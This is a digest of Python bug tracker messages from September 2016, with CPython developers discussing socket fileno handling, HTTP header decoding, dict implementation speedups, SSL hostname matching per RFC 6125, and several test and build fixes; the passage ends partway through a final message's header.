<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Sat Sep 17 21:28:41 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 18 Sep 2016 01:28:41 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1474162121.29.0.0619870297991.issue28134@psf.upfronthosting.co.za>


Martin Panter added the comment:

Personally, I?m not too enthusiastic, because it is rather magical, and does not work in all cases. It seems more like a feature than a bug fix. But I have rarely used the fileno=... parameter, and it shouldn?t have much negative impact, so I?m not too fussed.

According to Issue 27377, these are some cases where parts won?t work:

* Windows and OS X (and older versions of Linux and BSD) don?t have SO_PROTOCOL
* getsockname() not guaranteed to work on unbound sockets, especially on Windows, and Free BSD with SCTP sockets

Also, if we are going to read SO_PROTOCOL when fileno=... is given, why not also read it in the normal case when proto=0 (unspecified) is given?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Sat Sep 17 21:57:01 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 18 Sep 2016 01:57:01 +0000
Subject: [issue27716] http.client truncates UTF-8 encoded headers
In-Reply-To: <1470742396.79.0.719108941731.issue27716@psf.upfronthosting.co.za>
Message-ID: <1474163821.58.0.283797117545.issue27716@psf.upfronthosting.co.za>


Martin Panter added the comment:

Thanks to the fix for Issue 22233, now the response is parsed more sensibly, and the body can be read. The 0x85 byte now gets decoded with Latin-1:

>>> print(ascii(resp.getheader("Link")[:100]))
'<http://www.babla.cn/\xe8\x8b\xb1\xe8\xaf\xad-\xe6\xb3\xa2\xe5\x85\xb0\xe8\xaf\xad/>; rel="alternate"; hreflang="zh-Hans", <http://cs.bab.la/slov'

Here is a patch to document how to get the original bytes back (by ?encoding? to Latin-1). Other than that, I don?t think there is much left to do for this bug.

----------
keywords: +patch
Added file: http://bugs.python.org/file44733/header-decoding.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27716>
_______________________________________

From report at bugs.python.org  Sat Sep 17 22:00:04 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 02:00:04 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474164004.36.0.931226370844.issue28183@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Also, please take a look at resizing.  It looks like it is doing way too much work.  The original keys, values, and hashes shouldn't move at all, only the indices array needs to updated.

Here is the pure python version from the original proof-of-concept at https://code.activestate.com/recipes/578375

    def _resize(self, n):
        '''Reindex the existing hash/key/value entries.
           Entries do not get moved, they only get new indices.
           No calls are made to hash() or __eq__().

        '''
        n = 2 ** n.bit_length()                     # round-up to power-of-two
        self.indices = self._make_index(n)
        for index, hashvalue in enumerate(self.hashlist):
            for i in Dict._gen_probes(hashvalue, n-1):
                if self.indices[i] == FREE:
                    break
            self.indices[i] = index
        self.filled = self.used

Likewise, it looks like there is room for improvement in dict_copy().  It can memcpy() all four arrays and then incref all the keys.  That should be considerably faster than zeroing new arrays and applying re-insertion logic.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 00:06:58 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 04:06:58 +0000
Subject: [issue28193] Consider using lru_cache for the re.py caches
In-Reply-To: <1474142764.79.0.545149885627.issue28193@psf.upfronthosting.co.za>
Message-ID: <1474171618.37.0.621289754428.issue28193@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Added comments on Rietveld.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28193>
_______________________________________

From report at bugs.python.org  Sun Sep 18 00:41:17 2016
From: report at bugs.python.org (Martin Panter)
Date: Sun, 18 Sep 2016 04:41:17 +0000
Subject: [issue10808] ssl unwrap fails with Error 0
In-Reply-To: <1293997937.94.0.348375754935.issue10808@psf.upfronthosting.co.za>
Message-ID: <1474173677.94.0.235364675109.issue10808@psf.upfronthosting.co.za>


Martin Panter added the comment:

I understand this condition happens when the local end calls unwrap(), but the low-level socket connection has already been shut down from the remote end. If the remote is too slow, I get ConnectionResetError instead.

There is some discussion of this at <http://www.mail-archive.com/search?l=mid&q=4BC200FE.4070508 at netbauds.net>. I tend to agree with Antoine that unfortunately there is not much Python can do without help from Open SSL. I.e. can we rely on SSL_shutdown() always setting errno = 0 to indicate Python should raise SSLEOFError, or should Open SSL add some new way of indicating this condition?

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10808>
_______________________________________

From report at bugs.python.org  Sun Sep 18 02:29:28 2016
From: report at bugs.python.org (Malthe Borch)
Date: Sun, 18 Sep 2016 06:29:28 +0000
Subject: [issue28143] ASDL compatibility with Python 3 system interpreter
In-Reply-To: <1473843180.28.0.653391200015.issue28143@psf.upfronthosting.co.za>
Message-ID: <1474180168.78.0.732338815329.issue28143@psf.upfronthosting.co.za>


Malthe Borch added the comment:

I forgot to add "from __future__ import print_function" to the beginning of "asdl.py" and "spark.py". It should then work on Python 2.

That is, with the imported print-function, the incompatibilities that Martin pointed out are no longer there.

As for Windows, I would think that printing out CRLFs is the correct behavior? I don't use Windows personally.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28143>
_______________________________________

From report at bugs.python.org  Sun Sep 18 03:10:49 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 18 Sep 2016 07:10:49 +0000
Subject: [issue10109] itertools.product with infinite iterator cause
 MemoryError.
In-Reply-To: <1287103502.64.0.571191585998.issue10109@psf.upfronthosting.co.za>
Message-ID: <1474182649.67.0.124349780673.issue10109@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Recipes for handling an infinite first iterator for product, or an infinite iterator for combinations (they could be similar), that use and build on the current functions, without the output order constraint, might be candidates for the recipe section.  I will probably write at least one of them for my own purposes someday.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10109>
_______________________________________

From report at bugs.python.org  Sun Sep 18 03:49:43 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 18 Sep 2016 07:49:43 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474184983.05.0.743850139492.issue28183@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Serhiy: Patch LGTM except two trivial comments on Rietveld.

Raymond: With such implementation keys, values and hashes are all organized together and there seems no _resize operation can only adjust hashes without breaking the entire layout.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 04:21:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 08:21:23 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
In-Reply-To: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>
Message-ID: <20160918082120.24921.26584.92A356B9@psf.io>


Roundup Robot added the comment:

New changeset 83bca958adc9 by Berker Peksag in branch '3.6':
Issue #28151: Use pythontest.net in test_robotparser
https://hg.python.org/cpython/rev/83bca958adc9

New changeset 4bfd91a45c81 by Berker Peksag in branch 'default':
Issue #28151: Merge from 3.6
https://hg.python.org/cpython/rev/4bfd91a45c81

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Sun Sep 18 05:12:17 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 18 Sep 2016 09:12:17 +0000
Subject: [issue28194] Clean up some checks in dict implementation
Message-ID: <1474189937.19.0.989951317436.issue28194@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

The proposed patch cleans up some unnecessary parts in dict implementation especially NULL checks in lookup functions. There are four states a DictKeyEntry can be. Only in unused(empty) and dummy states me_key can be NULL. So NULL checks in used and pending states are not needed.

----------
components: Interpreter Core
files: dict_clean_up.patch
keywords: patch
messages: 276875
nosy: haypo, methane, serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: Clean up some checks in dict implementation
type: enhancement
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44734/dict_clean_up.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28194>
_______________________________________

From report at bugs.python.org  Sun Sep 18 06:00:13 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 18 Sep 2016 10:00:13 +0000
Subject: [issue28184] Trailing whitespace in C source code
In-Reply-To: <1474073035.4.0.752681458334.issue28184@psf.upfronthosting.co.za>
Message-ID: <1474192813.57.0.307027492225.issue28184@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy:  -mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28184>
_______________________________________

From report at bugs.python.org  Sun Sep 18 06:00:34 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 18 Sep 2016 10:00:34 +0000
Subject: [issue28185] Tabs in C source code
In-Reply-To: <1474076341.84.0.766307725903.issue28185@psf.upfronthosting.co.za>
Message-ID: <1474192834.0.0.665068462498.issue28185@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy:  -mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28185>
_______________________________________

From report at bugs.python.org  Sun Sep 18 06:05:50 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 18 Sep 2016 10:05:50 +0000
Subject: [issue9004] datetime.utctimetuple() should not set tm_isdst flag to 0
In-Reply-To: <1276659404.06.0.425467293989.issue9004@psf.upfronthosting.co.za>
Message-ID: <1474193150.87.0.976171794761.issue9004@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy:  -mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9004>
_______________________________________

From report at bugs.python.org  Sun Sep 18 06:08:35 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Sun, 18 Sep 2016 10:08:35 +0000
Subject: [issue5516] equality not symmetric for subclasses of datetime.date
 and datetime.datetime
In-Reply-To: <1237423886.27.0.985547007127.issue5516@psf.upfronthosting.co.za>
Message-ID: <1474193315.9.0.146731160419.issue5516@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy:  -mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5516>
_______________________________________

From report at bugs.python.org  Sun Sep 18 06:53:58 2016
From: report at bugs.python.org (SilentGhost)
Date: Sun, 18 Sep 2016 10:53:58 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1474196038.58.0.65221126968.issue28115@psf.upfronthosting.co.za>


SilentGhost added the comment:

Given that at present zipfile CLI has no test or docs, and along with Guido's aversion for such tools in general, I'm not at all sure they should be added. In any case, here is the patch for the main part of conversion.

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44735/28115_2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Sun Sep 18 06:57:15 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 10:57:15 +0000
Subject: [issue28075] os.stat fails when access is denied
In-Reply-To: <1473584680.43.0.379847844225.issue28075@psf.upfronthosting.co.za>
Message-ID: <20160918105711.20584.98258.4D3A93BF@psf.io>


Roundup Robot added the comment:

New changeset 20c4ad866620 by Berker Peksag in branch '3.5':
Issue #28075: Fix test_access_denied in Python 3.5
https://hg.python.org/cpython/rev/20c4ad866620

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28075>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:03:16 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 11:03:16 +0000
Subject: [issue28195] test_huntrleaks_fd_leak fails on Windows
Message-ID: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>


New submission from Berker Peksag:

>From http://buildbot.python.org/all/builders/x86%20Windows7%203.x/builds/11654/steps/test/logs/stdio

======================================================================
FAIL: test_huntrleaks_fd_leak (test.test_regrtest.ArgsTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_regrtest.py", line 782, in test_huntrleaks_fd_leak
    self.assertEqual(reflog, line2)
AssertionError: 'test[27 chars] [1, 2, 2] memory blocks, sum=5\ntest_regrtest[50 chars]=3\n' != 'test[27 chars] [1, 1, 1] file descriptors, sum=3\n'
- test_regrtest_huntrleaks leaked [1, 2, 2] memory blocks, sum=5
  test_regrtest_huntrleaks leaked [1, 1, 1] file descriptors, sum=3

----------
components: Tests
messages: 276878
nosy: berker.peksag
priority: normal
severity: normal
stage: needs patch
status: open
title: test_huntrleaks_fd_leak fails on Windows
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:05:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 11:05:00 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1474196700.58.0.330328434166.issue28134@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm well aware that it does not work in all cases. However it works good enough in most cases. Right now the fileno argument must be considered broken because it leads to wrong results. It is a problem and possible security issue for a couple of use cases, e.g. passing of sockets through AF_UNIX AUX data or systemd socket activation.

On Windows it is less problematic because socket(filno) works correctly with WSAPROTOCOL_INFO. It's only broken for integer fd.

I have considered to set type, family and proto to 0 (unspec) when the getsockopt and getsockname fail.

I have a differnt ticket for the protocol issue, #27816.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:08:46 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 11:08:46 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
In-Reply-To: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>
Message-ID: <1474196926.07.0.077407202407.issue28151@psf.upfronthosting.co.za>


Berker Peksag added the comment:

test_robotparser is now green. I've opened issue 28195 for test_huntrleaks_fd_leak.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:09:31 2016
From: report at bugs.python.org (Stefan Behnel)
Date: Sun, 18 Sep 2016 11:09:31 +0000
Subject: [issue27961] remove support for platforms without "long long"
In-Reply-To: <1473119429.61.0.683650779093.issue27961@psf.upfronthosting.co.za>
Message-ID: <1474196971.5.0.679566849359.issue27961@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

Removing HAVE_LONG_LONG entirely causes breakage of third party code that uses this macro to enable PY_LONG_LONG support. Could you please always define it instead of removing it?

----------
nosy: +scoder

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27961>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:13:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 11:13:00 +0000
Subject: [issue28196] ssl.match_hostname() should check for SRV-ID and URI-ID
Message-ID: <1474197180.9.0.848250707653.issue28196@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The ssl.match_hostname() function does not conform to RFC 6125 because it can fall back to Subject CN when a cert has no dNSName SAN (subject alternative name) but a SRVName otherName SAN or URI SAN.

---
https://tools.ietf.org/search/rfc6125#section-6.4.4

6.4.4.  Checking of Common Names

As noted, a client MUST NOT seek a match for a reference identifier
of CN-ID if the presented identifiers include a DNS-ID, SRV-ID,
URI-ID, or any application-specific identifier types supported by the
client.
---

For now it's not a security problem because no public CA in the CA/Browser Forum is allowed to issue certs with SRV-ID or URI-ID. I checked a couple of libraries and browers. OpenSSL, NSS/Firefox, GnuTLS, embedtls (Polar) and libcurl don't check for the present of SRV-ID or URI-ID either. Only Hynek's service_identity package follows the RFC to the letter. #28191 adds the ability to fetch SRV-ID entries.

----------
assignee: christian.heimes
components: SSL
messages: 276882
nosy: christian.heimes
priority: normal
severity: normal
stage: test needed
status: open
title: ssl.match_hostname() should check for SRV-ID and URI-ID
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28196>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:13:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 11:13:07 +0000
Subject: [issue28196] ssl.match_hostname() should check for SRV-ID and URI-ID
In-Reply-To: <1474197180.9.0.848250707653.issue28196@psf.upfronthosting.co.za>
Message-ID: <1474197187.39.0.37218091543.issue28196@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
dependencies: +Support RFC4985 SRVName in SAN name

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28196>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:30:32 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 11:30:32 +0000
Subject: [issue28195] test_huntrleaks_fd_leak fails on Windows
In-Reply-To: <1474196596.93.0.564677505496.issue28195@psf.upfronthosting.co.za>
Message-ID: <1474198232.59.0.263075153934.issue28195@psf.upfronthosting.co.za>


Berker Peksag added the comment:

It looks like http://buildbot.python.org/all/builders/x86%20Windows7%203.x/builds/11581 is first time that the test was failed.

Revisions (without documentation changes) in that build:

* 378e000a68785fdb3d74b3a930bc4ac5f6a04ce5
* fc8aaa073eb4253b84e8af6de7ea45e4a3724b28
* 48a1f97d03b4851ec6435453d319acdaeaf8becb
* 50cb3c6f5f725f07d7ac7388567f41e5950dd0fc
* d1dace3c9871037b350f88aaa1979b5a481f2a26

----------
nosy: +benjamin.peterson, haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28195>
_______________________________________

From report at bugs.python.org  Sun Sep 18 07:52:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 11:52:48 +0000
Subject: [issue26610] test_venv.test_with_pip() fails when ctypes is missing
In-Reply-To: <1458643946.17.0.878468383793.issue26610@psf.upfronthosting.co.za>
Message-ID: <20160918115238.34154.92648.BADAFA44@psf.io>


Roundup Robot added the comment:

New changeset 82bd70f83796 by Berker Peksag in branch '3.5':
Issue #26610: Skip test_with_pip if _ctypes is not available in OpenIndiana
https://hg.python.org/cpython/rev/82bd70f83796

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26610>
_______________________________________

From report at bugs.python.org  Sun Sep 18 08:23:56 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 12:23:56 +0000
Subject: [issue26661] python fails to locate system libffi
In-Reply-To: <1459246152.22.0.57778057602.issue26661@psf.upfronthosting.co.za>
Message-ID: <1474201436.44.0.82386640938.issue26661@psf.upfronthosting.co.za>


Christian Heimes added the comment:

This affects Python 3.7 because our own copy of libffi was removed from 'default'.

----------
assignee:  -> christian.heimes
nosy: +christian.heimes
priority: normal -> high
versions: +Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26661>
_______________________________________

From report at bugs.python.org  Sun Sep 18 08:27:13 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 12:27:13 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <1474201633.5.0.158511899711.issue28176@psf.upfronthosting.co.za>


Berker Peksag added the comment:

For some reason, some tests fail randomly on FreeBSD buildbots. See also issue27784. I'm planning to apply the attached patch.

----------
keywords: +patch
nosy: +koobs
Added file: http://bugs.python.org/file44736/issue28176_skip_tests.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Sun Sep 18 08:40:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Sun, 18 Sep 2016 12:40:27 +0000
Subject: [issue26661] python fails to locate system libffi
In-Reply-To: <1459246152.22.0.57778057602.issue26661@psf.upfronthosting.co.za>
Message-ID: <20160918124024.4551.66395.B0DA4716@psf.io>


Roundup Robot added the comment:

New changeset c4cec8f7c727 by Christian Heimes in branch '3.5':
Issue #26661: setup.py now detects system libffi with multiarch wrapper.
https://hg.python.org/cpython/rev/c4cec8f7c727

New changeset 18825546acbc by Christian Heimes in branch '3.6':
Issue #26661: setup.py now detects system libffi with multiarch wrapper.
https://hg.python.org/cpython/rev/18825546acbc

New changeset 35820a4a6967 by Christian Heimes in branch 'default':
Issue #26661: setup.py now detects system libffi with multiarch wrapper.
https://hg.python.org/cpython/rev/35820a4a6967

New changeset 2a3e4fa42464 by Christian Heimes in branch '2.7':
Issue #26661: setup.py now detects system libffi with multiarch wrapper.
https://hg.python.org/cpython/rev/2a3e4fa42464

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26661>
_______________________________________

From report at bugs.python.org  Sun Sep 18 08:41:39 2016
From: report at bugs.python.org (Christian Heimes)
Date: Sun, 18 Sep 2016 12:41:39 +0000
Subject: [issue26661] python fails to locate system libffi
In-Reply-To: <1459246152.22.0.57778057602.issue26661@psf.upfronthosting.co.za>
Message-ID: <1474202499.42.0.540750821741.issue26661@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks Robert, I have been running into the same issue for a while.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26661>
_______________________________________

From report at bugs.python.org  Sun Sep 18 09:29:08 2016
From: report at bugs.python.org (INADA Naoki)
Date: Sun, 18 Sep 2016 13:29:08 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1474205348.74.0.353001723122.issue28183@psf.upfronthosting.co.za>


INADA Naoki added the comment:

LGTM, thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Sun Sep 18 09:31:31 2016
From: report at bugs.python.org (Vinay Sajip)
Date: Sun, 18 Sep 2016 13:31:31 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1474205491.72.0.300893213333.issue6087@psf.upfronthosting.co.za>


Vinay Sajip added the comment:

Updated patch to cover tests, and changed the implementation slightly. Tests pass on Linux and Windows (I'm not able to build on OS X). The patch is against the default branch but the diff should apply equally well to 3.6.

----------
Added file: http://bugs.python.org/file44737/fix-6087.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Sun Sep 18 10:20:01 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 14:20:01 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1474208401.75.0.632814243202.issue28115@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

They should be added. Otherwise we can't know that the code works as expected. You can use test_calendar.py or test_tarfile.py as a guide.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Sun Sep 18 10:30:49 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 Sep 2016 14:30:49 +0000
Subject: [issue28194] Clean up some checks in dict implementation
In-Reply-To: <1474189937.19.0.989951317436.issue28194@psf.upfronthosting.co.za>
Message-ID: <1474209049.52.0.593685617481.issue28194@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM if address methane's comment.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28194>
_______________________________________

From report at bugs.python.org  Sun Sep 18 10:43:59 2016
From: report at bugs.python.org (SilentGhost)
Date: Sun, 18 Sep 2016 14:43:59 +0000
Subject: [issue28115] Use argparse for the zipfile module
In-Reply-To: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>
Message-ID: <1474209839.05.0.256163557398.issue28115@psf.upfronthosting.co.za>


SilentGhost added the comment:

Neither of those fit under definition of "permissible" modules. So, I would then suggest to close this issue and any further issues against CLI of those modules.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Sun Sep 18 10:56:41 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 18 Sep 2016 14:56:41 +0000
Subject: [issue28194] Clean up some checks in dict implementation
In-Reply-To: <1474189937.19.0.989951317436.issue28194@psf.upfronthosting.co.za>
Message-ID: <1474210601.24.0.611852536338.issue28194@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Apply methane's comment, preserving the comment.

----------
Added file: http://bugs.python.org/file44738/dict_clean_up_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28194>
_______________________________________

From report at bugs.python.org  Sun Sep 18 11:01:36 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Sun, 18 Sep 2016 15:01:36 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1474210896.36.0.43469142415.issue28147@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

LGTM. But why this change?

-#define ESTIMATE_SIZE(n)  (((n)*3) >> 1)
+#define ESTIMATE_SIZE(n)  (((n)*3+1) >> 1)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Sun Sep 18 11:20:24 2016
From: report at bugs.python.org (R. David Murray)
Date: Sun, 18 Sep 2016 15:20:24 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1474212024.77.0.305727462086.issue24363@psf.upfronthosting.co.za>


R. David Murray added the comment:

I will try to review this in the not too distant future.  You can ping me if I don't get to it by next Saturday.

I think I'll probably prefer to call the flag something like _greedy_header_parsing, to reflect a change from assuming we've got body on a non-header-like line to assuming we've still got header if we haven't seen a blank line yet.  What we call the private version of the flag doesn't matter all that much, though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Sun Sep 18 11:36:23 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 15:36:23 +0000
Subject: [issue25400] robotparser doesn't return crawl delay for default entry
In-Reply-To: <1444785702.73.0.849541373226.issue25400@psf.upfronthosting.co.za>
Message-ID: <1474212983.26.0.733659290447.issue25400@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here's an updated patch.

----------
versions: +Python 3.7
Added file: http://bugs.python.org/file44739/issue25400_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25400>
_______________________________________

From report at bugs.python.org  Sun Sep 18 12:01:20 2016
From: report at bugs.python.org (Berker Peksag)
Date: Sun, 18 Sep 2016 16:01:20 +0000
Subject: [issue25400] robotparser doesn't return crawl delay for default entry
In-Reply-To: <1444785702.73.0.849541373226.issue25400@psf.upfronthosting.co.za>
Message-ID: <1474214480.81.0.793237718462.issue25400@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


Added file: http://bugs.python.org/file44740/issue25400_v3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25400>
_______________________________________

From report at bugs.python.org  Sun Sep 18 12:52:38 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Sun, 18 Sep 2016 16:52:38 +0000
Subject: [issue28182] Expose OpenSSL verification results in SSLError
In-Reply-To: <1474038403.65.0.643451535386.issue28182@psf.upfronthosting.co.za>
Message-ID: <1474217558.42.0.996937538719.issue28182@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Here's a quick try. I didn't add tests and update docs as it's my first serious patch to CPython and I'm not sure whether my approach is OK or not.

----------
keywords: +patch
Added file: http://bugs.python.org/file44741/expose-x509-verify-result.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Sun Sep 18 13:15:57 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 18 Sep 2016 17:15:57 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
